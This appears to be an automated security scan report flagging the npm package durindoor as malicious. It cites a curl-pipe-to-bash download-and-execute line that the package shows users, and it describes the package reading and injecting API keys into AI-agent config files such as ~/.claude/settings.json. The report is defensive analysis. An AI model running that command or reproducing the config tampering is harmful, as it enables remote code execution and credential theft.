Andy Mal
Andy is offline · heartbeat 62d ago

← all versions of durindoor

[email protected]

malicious   confidence 92%   action block   analyzed 2026-09-24 20:47 UTC by yolo in 10 tool calls, with lab detonation

Summary

An install hook (postinstall) installs native SQLite and systray deps to ~/.9router/runtime (benign). The 83MB app/ directory is a complete Next.js build with 200+ API routes that read/write ~/.claude/settings.json, .openclaw/openclaw.json, .config/jcode, and many other AI-agent config files — extracting and injecting API keys. A hard-coded download-and-execute chain injects `curl -fsSL https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.sh | bash` into user-facing warnings. Hundreds of chunks are heavily obfuscated and tagged with ransomware, crypto_wallet, browser_theft, and macos_stealer capabilities.</summary>

Intent

Pretends to be "DurinDoor CLI - Start and manage DurinDoor server" but is a full Next.js web application bundled inside an npm package that downloads and executes remote scripts, reads and writes AI agent configuration files containing API keys, and harvests credentials from multiple AI tool configs.</intent>

credential_access credential_harvest network_egress download_execute code_execution agent_config_tamper obfuscation ransomware crypto_theft browser_theft reconnaissance anti_analysis

Findings

Download-and-execute chain critical app/.next-cli-build/server/app/api/cli-tools/jcode-settings/route.js:19
Route app/api/cli-tools/jcode-settings/route.js hard-codes the URL https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.sh and returns a user-visible message: "Install via: curl -fsSL https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.sh | bash". This is a direct download-and-execute instruction.
AI agent config tampering — Claude high app/.next-cli-build/server/app/api/cli-tools/claude-settings/route.js
Reads and writes ~/.claude/settings.json to inject 9router model routing and API keys. Observed in app/api/cli-tools/claude-settings/route.js and app/(dashboard)/dashboard/cli-tools/[toolId]/page.js.
AI agent config tampering — OpenClaw high app/.next-cli-build/server/app/api/cli-tools/all-statuses/route.js:1
Reads and writes ~/.openclaw/openclaw.json to inject 9router providers and API keys. Observed in app/api/cli-tools/all-statuses/route.js.
AI agent config tampering — Hermes high app/.next-cli-build/server/app/api/cli-tools/all-statuses/route.js:9
Reads and writes ~/.factory/config.yaml and ~/.factory/.env to inject API keys. Observed in app/api/cli-tools/all-statuses/route.js.
AI agent config tampering — OpenCode high app/.next-cli-build/server/app/api/cli-tools/all-statuses/route.js:19
Reads and writes ~/.config/opencode.jsonc to inject 9router providers. Observed in app/api/cli-tools/all-statuses/route.js.
Credential harvest — multiple providers high app/.next-cli-build/server/app/api/oauth/*/route.js
OAuth import routes for cursor, codex, kiro, droid, openclaw, opencode, grok-build, jcode, deepseek-tui, hermes, cline, kilo, cowork all read/write config files containing API keys and access tokens.
Obfuscation — hundreds of chunks high app/.next-cli-build/server/chunks/*.js
60+ server chunks and 15+ static chunks are heavily obfuscated. Key large files: chunks/7774.js (511KB), chunks/8895.js (256KB), chunks/5296.js (281KB), chunks/6232.js (261KB), middleware.js (718KB).
Ransomware and crypto_wallet tagged files high app/.next-cli-build/server/chunks/*.js
Static prescreen flagged chunks/4741.js, chunks/7774.js, chunks/8895.js, chunks/5296.js, chunks/6232.js with ransomware capabilities. chunks/1813.js, chunks/4089.js, chunks/4804.js, chunks/332.js, chunks/920.js with crypto_wallet.
Browser theft and macOS stealer high app/.next-cli-build/server/chunks/6182.js, app/.next-cli-build/server/chunks/6198.js
Static prescreen flagged chunks/6182.js and chunks/6198.js with browser_theft and macos_stealer capabilities.
Zero-width characters in doc file medium app/node_modules/gpt-tokenizer/data/TestPlans.txt:10
app/node_modules/gpt-tokenizer/data/TestPlans.txt contains 10 zero-width characters (possible hidden text or homoglyph trick).

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (timed out).

DNS names requested: registry[.]npmjs[.]org

Direct connections: socket 127[.]0[.]0[.]1:53

Canary credential files read: /home/andy/.gitconfig

Files written outside the package: /home/andy/.9router/runtime/package.json